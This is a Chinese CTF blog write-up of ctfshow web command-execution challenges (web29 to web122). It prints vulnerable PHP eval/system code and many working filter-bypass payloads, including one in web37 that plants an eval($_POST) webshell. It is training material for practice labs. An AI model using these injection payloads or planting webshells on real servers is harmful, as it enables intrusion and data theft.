ctf show--web 入门 命令执行篇部分题解

10 篇文章 15 订阅

最近和朋友一起入了ctf show的坑,在这里记录一下刷题过程以及从大佬那里学到的姿势。

命令执行

web29(通配符)

需要得到flag.php里的内容,但是flag被过滤了。

这题考察的知识点是通配符,这篇博客有具体的介绍:通配符和正则的区别

例如构造: ?c=system('cat f*');

*可以匹配 0 或多个字符?可以匹配任意一个字符

cat f*就可以打开当前目录下所有f开头的文件

然后查看源码得到flag

web30(反引号执行系统命令)

这题过滤了flag、system、php三个字符串,上一题的payload就不适用了。

可以利用反引号执行系统命令,如:

?c=echo `cat f*`;
?c=echo `cat f???????`; 

web31

这题过滤的更多(包括空格):

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

我是想不出有什么好用的办法了,参考hint和大佬的博客,payload1:

?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

其中第二个姿势的解析:
①:print_r(scandir(dirname(__FILE__)));查看当前目录下文件
在这里插入图片描述
②:print_r(next(array_reverse(scandir(dirname(__FILE__))))); 找到flag.php
③:highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));最后高亮显示

payload2:
这里的姿势正常一些,都是针对过滤的绕过(师傅们tql)。

cat被过滤时

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

空格被过滤时

1.	${IFS}替换
2.	$IFS$1替换
3.	${IFS替换
4.	%20替换
5.	<<>重定向符替换
6.	%09替换

7.  拼接(很强):?ip=1;a=g;cat$IFS$1fla$a.php;   (flag被过滤时)

大佬们的姿势:

?c=eval($_GET[1]);&1=system('nl flag.php');
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`必须加转义字符
?c=echo(`more%09f*`);

web32

在31题的基础上又过滤了

` ; echo (

分号可以用?>绕过,括号用""绕过,再配合$和伪协议的姿势:

?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

试了一下发现不带这个双引号也行:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

执行后得到一串base64密文,解码得到flag

web33-36

33题把"也过滤了
34题又多过滤了一个:
35题又过滤了=<
可以一把梭:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

36题多过滤了/和数字,把1换成一个字母就行。

web37(data伪协议)

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag,还进行了include文件包含,使用data伪协议。

1,写入一句话:

?c=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>

然后蚁剑连接即可(https://url/shell.php)
2,读取

?c=data:text/plain,<?php system('cat f*')?> #过滤了flag,这样构造相当于直接读取了flag.php

web38

这题把flag、file、php都过滤了,需要在37的姿势上变化一下。

(base64加密后)

data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

查看源码得到flag

web39

过滤了flag,限制了后缀(.php)
姿势和37一样

?c=data:text/plain,<?php system('cat f*')?>

web40

好家伙,直接过滤一堆

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }      
}else{
    highlight_file(__FILE__);
}

可以使用无参数函数进行文件读取,payload同31题。

web41(未解出)

web42

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这题可以直接

?c=ls;
?c=cat flag.php;

群主给的提示是cat flag.php%0a,用%0a让那后面那串东西无效。

web43

过滤了;cat

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这题其实姿势挺多的,被过滤的cat可以用很多其他命令替换,末尾再%0a截断。

?c=nl flag.php%0a
?c=tac flag.php%0a
?c=more flag.php%0a

web44

在web43的基础上多过滤了一个flag,只要在之前的payload基础上使用通配符即可。

?c=nl f*%0a
?c=tac f*%0a
?c=more f*%0a

web45

又多过滤了一个空格,参考web31中空格的绕过方法,把空格替换即可。

web46

过滤了;catflag空格数字$*
payload:

?c=nl%09fla?????%0a

web47-49

payload

?c=nl%09fla?????%0a

web50

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

%09和通配符不好使了,用重定向符<<>替换%09,用"" '' \绕过对flag的限制,也可以用 ||代替%0a(||默认前面前面执行成功就不执行后面)。

?c=nl<>fla''g.php%0a
?c=nl<>fla""g.php%0a
?c=nl<fla''g.php%0a
?c=nl<>fla''g.php||
?c=nl<>fla\g.php%0a

web51

payload同web50

web52

很多替换空格的字符被过滤了,但是$没有被过滤,所以在web50的基础上把空格换成$IFS即可

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web53

少了一些限制,不需要在末尾进行命令分割了。

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

正则的过滤更加严格了

grep

grep test *file
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

payload1:

?c=grep${IFS}'{'${IFS}fl???php #查找含有{的文件,并打印出包含 { 的这一行

bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。

payload2:

/bin/?at${IFS}f???????

web55-56

不会做,参考大佬博客:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067

web57

这题是让我们在限制条件之下构造36这个数字。

<?php

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这里是学习的Y4大佬的思路,利用$(( ))与整数运算

$(())-------1
$((~37))------36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag

群主还给了另一种姿势:

?c=grep${IFS}'fla'${IFS}fla??php

web58-65(绕过disable_functions系列)

从58开始是绕过disable_functions系列

通用payload:

c=echo highlight_file('flag.php');
c=show_source("flag.php");
c=highlight_file("flag.php");

还可以用web31中的payload1里的姿势

web66-67

首先扫目录(web67中print_r被禁了,换成var_dump),发现有flag.txt,然后:

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web68-70

show_sourcehighlight_filefile_get_contents等文本显示的代码基本都被禁了,所以换成includerequire这些文件包含的。payload:

c=include('/flag.txt')
c=require_once('/flag.txt');

web71(缓冲区)

附件index.php的内容:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

啊这,原来是翅膀师傅出的题。。。

函数解释:

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

绕过思路:执行php代码让后面的匹配缓冲区不执行直接退出

payload:

c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();

web118(Bash的内置变量绕过)

flag in flag.php

这题还给了两个hint:
在这里插入图片描述

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

原理

很明显,图片是给解题思路,下面的是把payload放出来了,两者结合起来分析一下。

利用~获取变量的最后几位,如下:
在这里插入图片描述
如上图:~0是获取最后一位, ~1是获取最后两位,除了数字,也可以使用字母。
在这里插入图片描述
大小写字母均可,效果都是获取最后一位,等同于数字0。

还要配合一下$PWD, echo $PWD会输出当前目录名
在这里插入图片描述

解题

知道原理了,开环境,简单手动fuzz一下,发现数字和小写字母被过滤了,用上面的原理构造,结合题目给的图片。

注意两个细节

一般$PATH是以bin结尾的,所以 ${PATH:~A}一般是n

注意到当前目录是/var/www/html,也就是${PWD:~A}是l

所以${PATH:~A}${PWD:~A}就是nl,再配合通配符即可,因为*被过滤了,所以用?

code=${PATH:~A}${PWD:~A} ????.???

关于上面两个payload,也解释一下。

这里有两个知识点

${变量}是变量的值,echo ${变量}会直接输出变量
${#变量}是变量的长度,echo ${#变量}会输出变量的长度值

还有一个就是切片操作,但是因为数字被过滤了,大写字母只能等效数字0,所以就需要用到${#变量},配合之后可以达到切片的效果。
在这里插入图片描述
关于SHLVL,只需要知道它的长度默认是1,即 ${#SHLVL}=1,然后利用这一点,${PATH:13:1}输出的就是 ${PATH}第13位的值
在这里插入图片描述
关于RANDOM, ${#RANDOM}的值(产生随机数的位数)一般是1-5,不过4和5的概率更大

web119

依旧是两个hint,除了上题给的图片外,还有

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /

/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

在上一题的基础上过滤了PATHBASH,重点是构造出flag的位置在/bin/base64 flag.php

由上题可知,${#RANDOM}的值大概率是4或5,这就构造出4了
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/

所以有两个思路:

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
等效于code=/bin/base64 flag.php
因为${#RANDOM}的值不一定是4,所以可能要多试几次

结合提示,还有
code=${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? 
等效于code=/bin/cat flag.php

web120

直接给了源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>

过滤了很多东西,还限制了长度,可以用上题的第一个payload

看一下预期解${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
其实构造的结果也是/bin/cat flag.php,只不过这里用的是${USER:~A},这也说明了 ${USER:}的最后一位是a

web121

过滤的更多了

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>

注意到前面一直在用的SHLVL也被过滤了,所以得换个方法代替1,测试发现${##}${#?}可以

看一下预期解

code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev
等效于code=/bin/rev flag.php

${#IFS}的默认长度是3${PWD:${#IFS}:${#?}}的值是r,这里用到的是rev命令,它会倒序输出,效果如下
在这里插入图片描述

web122

PWD也给禁了…没思路了,直接看羽师傅的wp

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>

这题利用了$?

$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
${RANDOM::$?}的值为4,所以需要不断刷新,因为一次可能成功不了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z.volcano

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值